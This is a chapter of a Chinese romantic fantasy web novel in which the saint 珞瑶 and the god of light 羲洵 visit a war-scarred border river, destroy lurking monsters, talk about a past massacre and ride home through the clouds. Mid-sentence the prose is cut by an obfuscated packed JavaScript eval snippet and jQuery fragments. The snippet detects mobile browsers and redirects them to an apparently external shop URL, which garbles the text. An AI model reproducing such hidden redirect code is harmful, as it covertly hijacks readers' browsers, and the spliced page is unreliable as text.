31. 江河一粟(五)
作品:《圣女救世指南》 已至黄昏,珞瑶和羲洵来到仙界南域,经过宫殿和密林山岭,越向南越荒凉,当年的英烈埋骨之地,如今依然笼罩着散不去的阴云。
真正到达边境时,入眼寥无人烟,唯有荒废的屋舍、苍凉的尘沙,夕阳边,大江翻涌着滚滚奔流。
这便是雾云江了。
两人沿着江岸寻找,果真在下游找到了一处清泉,江水如漩涡般逆回流转。
珞瑶立在江边,指尖光点指向江面,含混着河床泥土的泉水翻腾起来,随后争先恐后地涌出大江,被灌进了细颈大肚的青瓷瓶中。
归魂灯之星,雾河泉下泥。
只剩下最后一件东西,他们就能彻底找回衰退的力量,使镇幽珠恢复如初了。
珞瑶没想到这次会如此顺利,施法召出镇幽珠,将青瓷瓶靠近——
没有反应。
珞瑶不肯放弃,几度尝试唤醒镇幽珠,最后无果。要知道,从冥界带回归魂灯的时候,镇幽珠有所感应,是会自动闪烁起光芒的。
难道,这里不是天命所说的“雾河”?
欣喜被击碎,取而代之的是希望落空的沉寂。珞瑶看着手里的灵珠,陷入了短暂的无措,羲洵在她身边,温声道:“六界之大,我们还有未踏足之处,也许——”
他话没说完,身后破败的村屋里忽然传来几声响动,珞瑶感知到了不寻常的气息,神色一凛,立刻朝那个方向击出一掌!
“轰——”
石头垒成的屋舍骤然倒塌,里面的“东西”受惊,纷纷窜了出来,外表黢黑可怖的域外怪物,发出阴森尖厉的啸声。
珞瑶想起前段时日仙族圣使的禀报,蓬莱仙岛边境的界壁异动,恐有幽祟潜藏入界,如果当真有,应该就是雾云江边这些了。
好在今日遇上的只是很普通的低阶幽祟,珞瑶抬手掐诀,欲直接消灭,羲洵拦住了她,眸色冷冽,“让我来。”
光明神处世温然,动怒时日月失色,令人见而生畏。
他鲜少如此,至少珞瑶上次看见他露出这样的神情,还是在冥宫处置伯池的时候。
羲洵很快出手了,浑厚的神光化作万钧利刃,迅速向幽祟逼近,狠狠贯穿了它们的身体。那些怪物尖啸着,哀嚎着,被神力击中又爬起,疯狂地向他们冲来,直到四肢折断,悉数倒在河谷中。
淡金色的光班如雨点般飞出去,羲洵不知疲倦地继续出招,甚至刻意放缓了节奏,好像小打小闹一般,实则每一下都带着致命的威力。
江边,沿岸的石块被神力抽打得稀碎,幽祟节节败退,而他步步紧逼。
珞瑶察觉出不对,上前拉他,“羲洵。”
羲洵恍若未闻,沉默着,挣开她手,目光始终锁定在那些怪物身上,比方才更加冰寒,竟有锐利的肃杀之意。
他没有镇幽之力,无法彻底消灭幽祟,却依然没有停手,哪怕那些幽祟早已不能动弹,成了血肉模糊的一团。
仿佛别无目的,只是不计后果的发泄。
幽祟身上的邪气难缠,若能点到为止最好,时间久了也是对神力的消耗。眼见他越来越不冷静,珞瑶语气重了几分,“羲洵!够了。”
她拦在羲洵面前,强硬地不许他再靠近,转头向河谷的方向一挥,几只半死不活的幽祟像干了的墨迹一样黏在谷底,转眼化作了黑雾。
顷刻之间,那些可恨可憎的怪物在他眼前消失了,羲洵终于停了下来,急促地喘着气,在原地僵立了好半晌。
居然让她看到自己这副样子……
羲洵回过神,不禁一阵懊悔。他重返故地,又好巧不巧在这里撞上当年变故的“罪魁祸首”,一时间实在愤恨难抑。
天色越来越暗,周遭除了流水声,只有偶尔响起的虫鸣,羲洵长舒一口浊气,在巨石边坐了下来。
旧日战场旁,仙族将士尸骨未寒,至今仍用血肉滋养着雾云江边的仙草,而江水滔滔,永远不会为任何人停留。
一片静谧里,他的声音响起来,“蓬莱遭遇幽祟袭击的时候,我飞升不到千年,神力不够稳定,便只有长期闭关,后来我出关,终于接到了仙界的消息,却一切都迟了。”
那时战况惨烈,圣使战死后,幽祟铺天盖地地涌向蓬莱仙岛,形成了一道厚实的墙,切断了仙界向神山、澜渊传信的通道。
华辛向最近的魔界求援,最后没能等到援兵,等到各界中人听闻变故,急急赶到战场支援,仙族已然死伤惨重。
界主、叱咤风云的一方将领、被寄予厚望的少年天骄,全都葬送在了摇摇欲坠的防线之下。
血染红了群山,又卷着残石枯草汩汩离去。
日出时分,羲洵终于出关了,站在云山之外,遥望疮痍满地的蓬莱仙岛。
在一次又一次闭关修炼中,他体内的神骨逐渐坚不可摧,而仙界被屠,他心中本应翻山倒海的切肤之痛,却变得越来越迟钝。
就像一把生锈的刀子,生生豁开了他一半心脏,最后只留下了若有似无的伤痕。
江水东流,岸边,有好奇出水的鱼儿意外搁浅,羲洵看见了,将它们托进掌心,重新送回奔涌的清泉。
他垂着眸子,心情似乎也如动作般平静,眉间的熠熠辉光却明显黯淡了许多。
珞瑶坐在他身旁,问:“那你怪魔族吗?”
时过境迁,当初耽误战机、铸下大错的老魔尊早已逝去,追讨无益。
羲洵不由笑了笑,回答道:“昔人已去,我岂能因为一人之过,不分青红皂白地迁怒整个孤妄崖?我只恨我自己无用。”
恨自己无用,一护不住仙族生灵,二保不住至亲,事实上,当时蓬莱的消息传不到神山,就算他没有闭关,也依然改变不了最终的结局。
羲洵岂会不知这一点,千年间思绪百转,无非是胸中执念作祟,到底意难平。
“司掌日月轮转的光明神,炼制诛邪鼎,助澜渊拱卫天地,哪里无用?”珞瑶问。
这明明不是一回事,自己说东,她却说西。
羲洵无奈,唤道:“阿瑶——”
他的声音戛然而止,眼前人神情自然,看上去还是那个“冰块做的昙花”——这是沧丞的话。可羲洵总觉得她与往常不同,好像顶着一副冷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299122|197243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冰冰的外表,内里却是温暖的熔岩流心。
羲洵不确定,一阵奇异的感觉侵占了他的心,甚至感到不可思议。
他忍住悸动,问:“阿瑶,你在安慰我吗?”
安慰,对珞瑶来说,这也是个足够陌生的字眼,印象中,她从没有做过这件事,应该也不会做。
可方才那些话,她说出来时竟如此自然,没有察觉到任何奇怪的地方。
珞瑶垂下眼睫,连自己也有些迷茫,“我也不知道,不知怎的,话便说出口了。”
她不懂自己的变化因何而来,但这份细微的变化已经足够让她震动,就好像一只活在画里的蝴蝶,它闻见了外面的花香,于是自己挣扎着,一点点长出了真实的血肉。
天边,月亮拂去了云层,为大地蒙上一层细雾,月华映着那双灰蓝色的眸子,说不出的温柔。
羲洵弯腰下去,捞起了圣女无意垂进江水的裙纱。
“雾云江不对,定然还有第二条‘雾河’,走吧,我们回去再想办法。”
他站起身,说道,遥遥望见远处山野交错,一片青葱缥缈,方回想起这里是蓬莱的南部边境。
羲洵心下有了主意,尚未开口,悦色已浮上眼眸,亮如星辰。
于是,他转身望向珞瑶,“从仙界飞回澜渊太远,我带你乘云梯回去,可好?”
云梯?
珞瑶怔了怔,下一刻,羲洵用行动给了她答案——光华散去,他变回鹿身原形,周身皮毛光滑又洁净,透亮的鹿角在夜空中发着光。
“阿瑶,上来。”
他声音轻快,含着几分笑意,竖起的鹿耳微微一晃。
月华沉静,一把碎星照亮了满天,朦胧的云雾里,唯见一道鹿影跃上层霄,难得在天外张扬。
九天灵鹿穿梭在云间,身后曳出一道耀眼的金辉。珞瑶坐在鹿背上,倒是不觉颠簸,任由凉风吹起她的钗旒和裙角。
偶然间,她瞥了一眼云下的风景,霎时间屏住了呼吸。
云巅之下,夜色隐去了山林,仍见江雪缈缈,灯影迢迢,满眼繁华的烟火气,临高而望远,村舍茅屋错落在山野之间,家家户户门前都点着灯。
就好像一群抱团取暖的蚂蚁,脆弱、渺小,却格外动人。
这震人心魄的景象几乎让珞瑶移不开眼,她瞳孔微动,一恍就失了神。
这些年,她四处镇压幽祟、平息风波,分明日日在各界之间奔走赶路,却好像从未来得及低头看一眼,也从来没有在路途中问过自己,她为何要守护生灵、她守护的生灵都是什么样的,是好是坏、是善是恶、是勤劳朴素,还是勇敢善良?
万物有灵,浮生亦有千重貌。
原来,这才是诗卷古籍中描绘的“人间”。
那一刻,珞瑶体内灵气翻涌,心里前所未有的通透和轻松,好像有什么积塞已久的关窍,忽然被这熙熙攘攘的景色打通了。
她忍不住倾身上前,手覆上去,摸了摸那对冰透的鹿角,羲洵没有防备,浑身都颤了一下。
澜渊将至,小鹿步履未停,耳朵悄悄变成了粉色。

